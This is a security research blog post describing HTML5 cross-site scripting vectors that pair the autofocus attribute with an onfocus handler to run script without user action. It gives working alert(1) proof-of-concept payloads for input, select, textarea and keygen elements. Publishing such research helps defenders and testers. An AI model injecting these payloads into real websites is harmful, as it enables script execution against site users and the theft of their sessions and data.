HTML5 new XSS vectors

Back to articles

hackvertor

Author:

Gareth Heyes

@hackvertor

Published: Sun, 06 Dec 2009 12:04:47 GMT

Updated: Sat, 22 Mar 2025 15:38:14 GMT

So I posted some new XSS vectors on twitter and I thought I'd share them on the blog in case anyone missed them. Safari, Chrome and Opera all support these now :) We have a brand new way of auto executing XSS.

Normally when you find a XSS hole within a input element that has filtered < and > you can't exploit it automatically without using CSS expressions. The injection looks something like:-

<pre lang="javascript"> &lt;input type=&quot;text&quot; USER_INPUT&gt; </pre>

Here you can do style=xss:expression(alert(1)) or moz-binding etc. but it only works on a limited number of browsers. HTML5 however lets us execute like expressions but without css styles. For example:-

<pre lang="javascript"> &lt;input type=&quot;text&quot; AUTOFOCUS onfocus=alert(1)&gt; </pre>

We use the "autofocus" feature to focus our element and then the onfocus event to execute our XSS. This works with a plethora (I like that word) of tags. Any form based element it seems you can use this method:-

<pre lang="javascript"> &lt;input autofocus onfocus=alert(1)&gt; &lt;select autofocus onfocus=alert(1)&gt; &lt;textarea autofocus onfocus=alert(1)&gt; &lt;keygen autofocus onfocus=alert(1)&gt; </pre>

Back to articles